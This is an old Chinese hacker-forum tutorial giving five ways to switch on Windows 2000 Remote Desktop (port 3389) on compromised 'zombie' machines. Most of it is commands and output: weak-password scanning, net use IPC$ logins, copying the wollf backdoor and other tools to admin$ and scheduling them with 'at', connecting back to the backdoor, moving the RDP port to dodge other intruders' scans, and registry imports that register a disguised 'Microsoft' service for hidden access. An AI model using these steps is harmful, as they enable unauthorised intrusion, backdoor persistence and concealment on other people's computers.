五种办法开启3389终端

血腥魔术师

本文作者： ibicP 文章录入：safer\r\n文章出处： 黑客防线技术论坛 \r\n阅读次数： 390\r\n发布日期： 2003-9-11 \r\n第一种方法：\r\n使用的工具:\r\n1:ipcscan扫描器\r\n2:终端服务连接工具xpts.exe(WIN 2000/XP 终端连接程序. 内附有COPY 文件的补丁. 格式 IP:Port )\r\n3:开终端的脚本rots.vbs(灰色轨迹zzzevazzz的作品)\r\n4:cscript (在system32文件夹下;98操作系统可能没有\r\n二:步骤:\r\n1:用ipcscan扫描弱口令(你们可以自己扫,我也扫到一些弱口令主机.演实时间我在论坛上再发) \r\n2:用rots.vbs开启终端服务\r\n说明 cscript ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项]\r\n格式 cscript.exe rots.vbs ip user userpass port /r\r\n或者 cscript.exe rots.vbs ip user userpass port /fr\r\n三:常见问题:\r\n1:脚本会判断目标系统类型,如果不是server及以上版本,就会提示你是否要取消。因为pro版不能安装终端服务.如果你确信脚本判断错误,就继续安装好了.\r\n2:可能会出现:Conneting 202.202.202.202 ....Error0x80070776 .Error description: 没有发现指定的此对象导出者,这个还是放弃吧. \r\n3:可能会连接不上,请用这个格式127.0.0.1:1818 1818是刚才开的端口.\r\n\r\n第二种方法：\r\n进入后：TELNET上去！\r\nc:\\>echo [Components] > c:\\rock \r\nc:\\>echo TSEnable = on >> c:\\rock \r\nc:\\>sysocmgr /i:c:\\winnt\\inf\\sysoc.inf /u:c:\\rock /q \r\n或者！ \r\nc:\\>echo [Components] > d:\\wawa \r\nc:\\>echo TSEnable = on >> d:\\wawa \r\nc:\\>sysocmgr /i:c:\\winnt\\inf\\sysoc.inf /u:d:\\wawa /q \r\n等会自动启后就OK\r\n或者：\r\n在本地利用DOS命令edit建立.bat后缀批处理文件（文件名随意） echo [Components] > c:\\sql\r\necho TSEnable = on >> \r\nc:\\sqlsysocmgr /i:c:\\winnt\\inf\\sysoc.inf /u:c:\\sql /q\r\nnet use \\\\ip地址\\ipc$ 密码 /user:用户名（一般默认:administrator)\r\n利用at time 获取对方服务器时间。\r\ncopy 路径:\\xxx.bat \\\\ip地址\\$c:\\winnt\r\nat time 00:00:00 xxx.bat\r\n服务器执行命令后，服务器将重新启动，利用3389登陆就OK了！\r\n\r\n第三种方法：\r\n进入后,再次检查终端组件是否安装: \r\nc:\\>query user \r\n这个工具需要安装终端服务. \r\n这样就进一步确定了组件没有被安装.如果返回: \r\nUSERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME \r\n>w1 console 0 运行中 . 2002-1-12 22:5 \r\n\\\\类似这样的信息,可能组件就已安装. \r\n好!都清楚了,可以开始安装了. \r\n--------------------------------------------------- \r\nC:\\>dir c:\\sysoc.inf /s //检查INF文件的位置 \r\nc:\\WINNT\\inf 的目录 \r\n2000-01-10 20:00 3,770 sysoc.inf \r\n1 个文件 3,770 字节 \r\n----------------------------------------------------- \r\nC:\\> dir c:\\sysocmgr.* /s //检查组件安装程序 \r\nc:\\WINNT\\system32 的目录 \r\n2000-01-10 20:00 42,768 sysocmgr.exe \r\n1 个文件 42,768 字节 \r\n----------------------------------------------------- \r\nc:\\>echo [Components] > c:\\rock \r\nc:\\>echo TSEnable = on >> c:\\rock \r\n//这是建立无人参与的安装参数 \r\nc:\\>type c:\\rock \r\n[Components] \r\nTSEnable = on \r\n//检查参数文件 \r\n------------------------------------------------------ \r\nc:\\>sysocmgr /i:c:\\winnt\\inf\\sysoc.inf /u:c:\\rock /q \r\n----------------------------------------------------- \r\n这一条就是真正安装组件的命令. \r\n以上这条命令没有加/R参数,主机在安装完后自动重起. \r\n如若加了/R参数主机就不会重起. \r\n如果一切正常的话,几分钟后对方主机将会离线,当它重新回来时, \r\n3389终端服务就已经开启.你就可以连上去了. \r\n问题和建议: \r\nA 在安装过程中,不使用/R,有时主机也不会重起,你就要手动重起他,但在使用诸如:iisreset /reboot命令时,对方 \r\n的屏幕会出现个对话框,写着谁引起的这次启动,离重起还有多少秒. \r\nB 一次不行可以再试一次,在实际中很有作用. \r\nC 在输入sysocmgr命令开始安装时,一定不要把命令参数输错,那会在对方出现一个大的对话框,是sysocmgr的帮助,很是显眼, \r\n而且要求确定.在你的屏幕上是不会有任何反应的,你不会知道出错，所以会有B的建议. \r\n\r\n第四种方法：\r\nC:\\Documents and Settings\\shanlu.XZGJDOMAIN>net use \\\\218.22.155.*\\ipc$ \"\" /us \r\ner:administrator----------------连接成功！ \r\n命令成功完成。 \r\nC:\\Documents and Settings\\shanlu.XZGJDOMAIN>copy wollf.exe \\\\218.22.155.*\\admi \r\nn$------------------------------拷贝wollf.exe到目标计算机的admin$目录 \r\n已复制 1 个文件。 \r\nC:\\Documents and Settings\\shanlu.XZGJDOMAIN>copy hbulot.exe \\\\218.22.155.*\\adm \r\nin$-----------------------------拷贝hbulot.exe到目标计算机的admin$目录 \r\n已复制 1 个文件。 \r\nC:\\Documents and Settings\\shanlu.XZGJDOMAIN>net time \\\\218.22.155.* \r\n\\\\218.22.155.* 的当前时间是 2002/12/1 上午 06:37 \r\n命令成功完成。 \r\nC:\\Documents and Settings\\shanlu.XZGJDOMAIN>at \\\\218.22.155.* 06:39 wollf.exe \r\n新加了一项作业，其作业 ID = 1--指定wollf.exe在06:39运行 \r\n------------------------------------------------------------------------------------------ \r\n说明： \r\nwollf.exe是一个后门程序，很多高手都喜欢nc或者winshell，不过我对他情有独钟！在这里我只介绍与本文内 \r\n容有关的命令参数，它的高级用法不做补充。 \r\nhbulot.exe是用于开启3389服务，如果不是server及以上版本，就不要运行了。因为pro版不能安装终端服务。 \r\n2分钟后...... \r\n------------------------------------------------------------------------------------------ \r\nC:\\Documents and Settings\\shanlu.XZGJDOMAIN>wollf -connect 218.22.155.* 7614 \r\n\"Wollf Remote Manager\" v1.6 \r\nCode by wollf, http://www.xfocus.org \r\n------------------------------------------------------------------------------------------ \r\n说明： \r\n使用wollf连接时要注意wollf.exe要在当前目录，它的连接命令格式：wollf -connect IP 7614 \r\n7614是wollf开放的端口。如果显示如上，说明你已经连接成功，并具有管理员administrator权限。 \r\n------------------------------------------------------------------------------------------ \r\n[server@D:\\WINNT\\system32]#dos \r\nMicrosoft Windows 2000 [Version 5.00.2195] \r\n(C) 版权所有 1985-2000 Microsoft Corp. \r\n------------------------------------------------------------------------------------------ \r\n说明： \r\n输入dos,你就会进入目标机的cmd下，这时同样具有administrator权限。 \r\n------------------------------------------------------------------------------------------ \r\nD:\\WINNT\\system32>cd.. \r\ncd.. \r\nD:\\WINNT>dir h*.* \r\ndir h*.* \r\n驱动器 D 中的卷没有标签。 \r\n卷的序列号是 1CE5-2615 \r\nD:\\WINNT 的目录 \r\n2002-11-27 03:07 <DIR> Help \r\n2002-09-10 12:16 10,752 hh.exe \r\n2002-10-01 08:29 24,576 HBULOT.exe \r\n2 个文件 35,328 字节 \r\n1 个目录 9,049,604,096 可用字节 \r\nD:\\WINNT>hbulot \r\nhbulot \r\n------------------------------------------------------------------------------------------ \r\n说明： \r\n因为我们把HBULOT.exe放到目标机的admin$下的，所以先找到它，以上是文件的存放位置。 \r\nD:\\WINNT>exit \r\nexit \r\nCommand \"DOS\" succeed. \r\n[server@D:\\WINNT\\system32]#reboot \r\nCommand \"REBOOT\" succeed. \r\n[server@D:\\WINNT\\system32]# \r\nConnection closed. \r\n------------------------------------------------------------------------------------------ \r\n说明： \r\n由dos退到wollf的连接模式下用exit命令，HBULOT.exe运行后需重新启动方可生效，这里wollf自带的REBOOT \r\n命令，执行过在5秒后你就会失去连接。启动完毕后检查一下3389端口是否开放，方法很多，superscan3扫一下 \r\n\r\n。这时候你就可以登陆了。如果没有开放3389那就不是server及以上版本，就不要运行了。因为pro版不能安装终端服务。 \r\n到这里，你已经拥有3389肉鸡了！但是会不会被别的入侵者发现呢？下面所教的就是怎么让3389只为你服务！ \r\n我们现在使用的3389登陆器有两种版本，一种是2000/98，一种是XP。二者区别呢？前者使用的默认端口3389对 \r\n目标，后者默认的也是3389端口，但是它还支持别的端口进行连接！所以呢......我们来修改3389的连接端口 \r\n来躲过普通扫描器的扫描！修改方法如下： \r\n修改服务器端的端口设置 ，注册表有2个地方需要修改。 \r\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp] \r\nPortNumber值，默认是3389，修改成所希望的端口，比如1314 \r\n第二个地方： \r\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp]　 \r\nPortNumber值，默认是3389，修改成所希望的端口，比如1314 \r\n现在这样就可以了。重启系统吧。 \r\n注意：事实上，只修改第二处也是可以的。另外，第二处的标准联结应该是 \r\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\<connection> \r\n<connection>表示具体的某个RDP-TCP连结。 \r\n重启过后，看看端口有没有改。 \r\n小技巧：修改注册表键值时，先选择10进制，输入你希望的端口数值，再选择16进制，系统会自动转换。 \r\n\r\n\r\n第五种方法：\r\n一.原理性基本安装 \r\n1.将如下注册表键值导入 \"肉机\" 的注册表中: \r\n------------- \r\nWindows Registry Editor Version 5.00 \r\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\netcache] \r\n\"Enabled\"=\"0\" \r\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon] \r\n\"ShutdownWithoutLogon\"=\"0\" \r\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer] \r\n\"EnableAdminTSRemote\"=dword:00000001 \r\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server] \r\n\"TSEnabled\"=dword:00000001 \r\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\TermDD] \r\n\"Start\"=dword:00000002 \r\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\TermService] \r\n\"Start\"=dword:00000002 \r\n[HKEY_USERS\\.DEFAULT\\Keyboard Layout\\Toggle] \r\n\"Hotkey\"=\"1\" \r\n----------- \r\n2.重新起动\"肉机\"。 \r\n3.使用本地的3398客户端，连接 \"肉机\" . \r\n4.优(缺)点: \r\nA.\"肉机\"中 \"控制面板-->添加/删除程序-->添加/删除 Windows 组件-->终端服务\" 仍然处于未安装状态. \r\nB.\"肉机\"中 \"开始-->程序-->管理工具\" 没有任何变动. \r\nC.\"肉机\"中 \"开始-->程序-->管理工具-->服务-->Terminal Services\" 变为 \"已起动\" 和\"自动\". \r\nD.\"肉机\"中 \"Windows 任务管理器-->进程\" 内,增加 \"Termsrv.exe\". \r\n5.与\"sysocmgr /iysoc.inf /u:u.txt /q\" 的比较: \r\nA.\"肉机\"中 \"控制面板-->添加/删除程序-->添加/删除 Windows 组件-->终端服务\" 处于已安装状态. \r\nB.\"肉机\"中 \"开始-->程序-->管理工具\" 增加 \"终端服务管理器\",\"终端服务配置\" 和 \"终端服务客户端生成器\". \r\nC.\"肉机\"中 \"开始-->程序-->管理工具-->服务-->Terminal Services\" 变为 \"已起动\" 和\"自动\". \r\nD.\"肉机\"中 \"Windows 任务管理器-->进程\" 内,增加 \"Termsrv.exe\". \r\nE.需要拷贝几兆的文件到\"肉机\"中. \r\n二.抛砖引玉性\"隐蔽\"安装: \r\n1.将\"肉机\"中 \"c:\\winnt\\system32\\termsrv.exe\" 文件作一备份,命名为\"eventlog.exe\",仍将其放入目录 \"c:\\winnt\\system32\\\" \r\n2.将如下注册表键值导入 \"肉机\" 的注册表中: \r\n------------ \r\nWindows Registry Editor Version 5.00 \r\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\netcache] \r\n\"Enabled\"=\"0\" \r\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon] \r\n\"ShutdownWithoutLogon\"=\"0\" \r\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer] \r\n\"EnableAdminTSRemote\"=dword:00000001 \r\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server] \r\n\"TSEnabled\"=dword:00000001 \r\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\TermDD] \r\n\"Start\"=dword:00000002 \r\n[HKEY_USERS\\.DEFAULT\\Keyboard Layout\\Toggle] \r\n\"Hotkey\"=\"1\" \r\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SecuService] \r\n\"Start\"=dword:00000002 \r\n\"ErrorControl\"=dword:00000001 \r\n\"ImagePath\"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\\ \r\n74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\\ \r\n00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 \r\n\"ObjectName\"=\"LocalSystem\" \r\n\"Type\"=dword:00000010 \r\n\"Description\"=\"Microsoft\" \r\n\"DisplayName\"=\"Microsoft\" \r\n--------------- \r\n3.重新起动\"肉机\"。 \r\n4.使用本地的3398客户端，连接“肉机”。 \r\n5.优(缺)点: \r\nA.\"肉机\"中 \"控制面板-->添加/删除程序-->添加/删除 Windows 组件-->终端服务\" 仍然处于未安装状态. \r\nB.\"肉机\"中 \"开始-->程序-->管理工具\" 没有任何变动. \r\nC.\"肉机\"中 \"开始-->程序-->管理工具-->服务-->Terminal Services\" 没有变化,保持原始状态. \r\nD.\"肉机\"中 \"开始-->程序-->管理工具-->服务\" 增加 \"Microsoft\" \r\nE.\"肉机\"中 \"Windows 任务管理器-->进程\" 内,增加 \"eventlog.exe\". \r\n三.理论简介 \r\n如此简单? 只修改注册表? 不需要拷贝W2k源文件? \r\n让我们从一条命令行语句说起,这条语句是: \"sysocmgr /iysoc.inf /u:u.txt /q\" . 其中 u.txt 如下: \r\n------------- \r\n[Components] \r\nTsEnable = on \r\n------------- \r\n首先认识 \"sysoc.inf\".\"sysoc.inf\" 是安装信息文件,位于 \"c:\\winnt\\inf\". 打开它,在 \"[Components]\" 节,找到与 \"终端服务\" 有关的条目: \r\n\"TerminalServices=TsOc.dll, HydraOc, TsOc.inf,,2\" \r\n这里引出另外一个安装信息文件: \"TsOc.inf\". 这个文件同样位于 \"c:\\winnt\\inf\". \r\n打开这个文件,你会发现,如同 windows 环境下的软件安装, \"终端服务\" 的安装, 也主要由三个部分: 拷贝源文件,注册 DLL 以及修改注册表. \r\n在 [TerminalServices.FreshInstall] 节 和 \"File Sections\" 部分,你会发现 \"终端服务\" 所需的系统文件,DLL 和驱动, 随同 W2k 的初始安装,都已安然就位. \r\n为什么 \"终端服务\" 的常规安装和命令行安装都需要拷贝W2k源文件? 事实上,所拷贝的是\"终端服务\"客户端软件,既 \"开始-->程序-->管理工具-->终端服务客户端生成器\" 生成客户软盘需要的文件. \r\n各位 \"黑友\" 提供的包或工具,里面包括的W2k源文件,都是 \"tsc32\" 打头的. 关连 \"TsOc.inf\" 的 \"File Sections\" 部分和另外一个文件 \"c:\\winnt\\inf\\layout.inf\",你将会得到证实. \r\n\"终端服务\"的安装,需要注册俩个 \"DLL\". 这俩个 \"DLL\" 同样早早就住在系统里,想必它们一定也有了身份证. \r\n\"TsOc.inf\" 文件一半的内容是关于修改注册表. 但\"终端服务\" 需要的\"Reg.AddToFreshInstall, Reg.AddTo50, Reg.AddTo40\" 都是在系统安装时注册过的. \r\n我们回头看一下那个命令行语句, \"/u:\" 参数后面的无人职守安装信息文件 \"u.txt\". \"TsEnable = on\" ? \r\n\"TsOc.inf\" 文件 [Optional Components] 节中有三个选项, \"TerminalServices\", \"TSEnable\" ,\"TSClients\". \r\n\"TerminalServices\" 如上所述,在系统初始安装时,已经就序. \"TSClients\" 与 \"终端服务\" 没有直接的关系. \r\n我们在 \"TsOc.inf\" 找到 \"[TsEnable]\" 节. 此节中有用的信息只有一条 \"ToggleOnSection = TerminalServices.ToggleOn\". 再转到 [TerminalServices.ToggleOn] 节. \r\n[TerminalServices.ToggleOn] 节告诉我们,下一站是 \"Reg.ToggleOn\", 沿着这个线索,我们来到 [Reg.ToggleOn]，OK了